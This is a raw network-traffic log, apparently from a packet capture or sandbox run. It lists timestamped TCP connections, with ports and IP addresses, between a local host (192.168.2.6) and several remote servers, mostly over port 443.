Dec 8, 2024 17:45:46.622653961 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.622935057 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.622961998 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.623044968 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.623044968 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.623076916 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.623369932 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.652610064 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.652628899 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.652708054 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.652733088 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.653783083 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.680910110 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.680928946 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.681016922 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.681040049 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.681082010 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.681540012 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.681556940 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.681617975 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.681643009 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.681657076 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.681679010 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.739295959 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.739319086 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.739399910 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.739417076 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.739444971 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.739465952 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.740144014 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.740164995 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.740240097 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.740255117 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.740277052 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.740288973 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.767347097 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.767390013 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.767451048 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.767466068 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.767501116 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.767524004 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.768429995 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.768448114 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.768532991 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.768544912 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.769681931 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.769705057 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.769768000 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.769773960 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.769784927 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.769784927 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.770837069 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.792547941 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.792565107 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.792659998 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.792668104 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.792711020 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.793704033 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.793730974 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.793807030 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.793827057 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.793840885 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.793893099 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.800379038 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.800386906 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.800468922 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.800483942 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.800590992 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.802397966 CET	49836	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:46.802433968 CET	443	49836	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:46.802525997 CET	49836	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:46.802889109 CET	49835	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:46.802911997 CET	443	49835	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:46.804352999 CET	49837	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:46.804372072 CET	443	49837	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:46.804471970 CET	49837	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:46.804636955 CET	49836	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:46.804652929 CET	443	49836	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:46.804675102 CET	49837	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:46.804686069 CET	443	49837	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:46.805289984 CET	49838	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:46.805324078 CET	443	49838	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:46.805372953 CET	49838	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:46.805521965 CET	49838	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:46.805548906 CET	443	49838	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:46.807495117 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.814826012 CET	443	49833	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:46.814883947 CET	443	49833	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:46.814946890 CET	49833	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:46.815150023 CET	49833	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:46.815160990 CET	443	49833	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:46.815171957 CET	49833	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:46.815176964 CET	443	49833	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:46.818090916 CET	49839	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:46.818099976 CET	443	49839	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:46.818416119 CET	49839	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:46.818624020 CET	49839	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:46.818633080 CET	443	49839	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:46.821455002 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.821520090 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.821543932 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.821552038 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.821608067 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.824410915 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.824431896 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.824539900 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.824563980 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.824661016 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.824933052 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.824973106 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.825006008 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.825014114 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.825061083 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.825083017 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.841604948 CET	49832	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:46.841615915 CET	443	49832	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:46.841986895 CET	49832	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:46.841993093 CET	443	49832	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:46.842349052 CET	49832	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:46.842355013 CET	443	49832	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:46.842480898 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.842498064 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.842573881 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.842590094 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.842608929 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.842636108 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.846124887 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.846159935 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.846198082 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.846205950 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.846254110 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.846272945 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.850085974 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.850111008 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.850184917 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.850203991 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.850228071 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.850259066 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.870187998 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.870204926 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.870285988 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.870296001 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.870349884 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.875195026 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.875236034 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.875282049 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.875299931 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.875339031 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.875395060 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.878664017 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.878689051 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.886800051 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.886816978 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.886890888 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.886898041 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.886935949 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.891623020 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.891643047 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.891683102 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.891690969 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.891746998 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.904891968 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.904906034 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.904951096 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.904958010 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.904999018 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.909204006 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.909223080 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.909334898 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.909343958 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.909393072 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.917551041 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.917598009 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.917624950 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.917632103 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.917674065 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.921777010 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.921801090 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.921829939 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.921838045 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.921880960 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.927596092 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.931026936 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.931042910 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.931108952 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.931118011 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.931154013 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.935224056 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.935242891 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.935323000 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.935323000 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.935331106 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.935409069 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.956837893 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.956887007 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.956923962 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.956928015 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.956990004 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.970613956 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.970635891 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.970673084 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.970678091 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.970752001 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.985408068 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.985424042 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.985515118 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.985518932 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.985591888 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.000294924 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.000309944 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.000397921 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.000403881 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.000417948 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.000493050 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.008972883 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.008990049 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.009066105 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.009073973 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.009116888 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.013326883 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.013354063 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.013410091 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.013415098 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.013441086 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.013473034 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.014347076 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.014372110 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.014410973 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.014415026 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.014460087 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.016616106 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.016630888 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.016700029 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.016707897 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.016732931 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.016752958 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.017548084 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.017563105 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.017606020 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.017610073 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.017716885 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.021163940 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.021210909 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.021362066 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.025204897 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.025242090 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.025300026 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.025309086 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.025346994 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.025362968 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.026453972 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.026470900 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.026549101 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.026555061 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.026607037 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.029284954 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.029304981 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.029355049 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.029360056 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.029417038 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.029417992 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.029808998 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.029820919 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.033540010 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.033555984 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.033601046 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.033608913 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.033641100 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.033662081 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.033934116 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.033950090 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.034012079 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.034018040 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.034065962 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.034085035 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.041910887 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.041928053 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.041981936 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.041990995 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.042032957 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.043296099 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.043303967 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.043308973 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.043323994 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.043402910 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.043409109 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.043437958 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.043437958 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.043442965 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.043611050 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.043611050 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.049112082 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.049134016 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.049169064 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.049175978 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.049218893 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.049226999 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.050123930 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.050143957 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.050182104 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.050188065 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.050220013 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.050246000 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.054891109 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.054922104 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.054958105 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.054965019 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.054994106 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.055007935 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.057154894 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.057172060 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.057214022 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.057218075 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.057240009 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.057265043 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.073851109 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.073880911 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.073923111 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.073931932 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.073983908 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.073983908 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.126122952 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.126142979 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.126184940 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.126194954 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.126209021 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.126230001 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.160588980 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.160613060 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.160665989 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.160674095 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.160700083 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.160738945 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.169579029 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.169593096 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.169660091 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.169666052 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.169699907 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.179691076 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.179706097 CET	443	49831	150.171.27.10	192.168.2.6
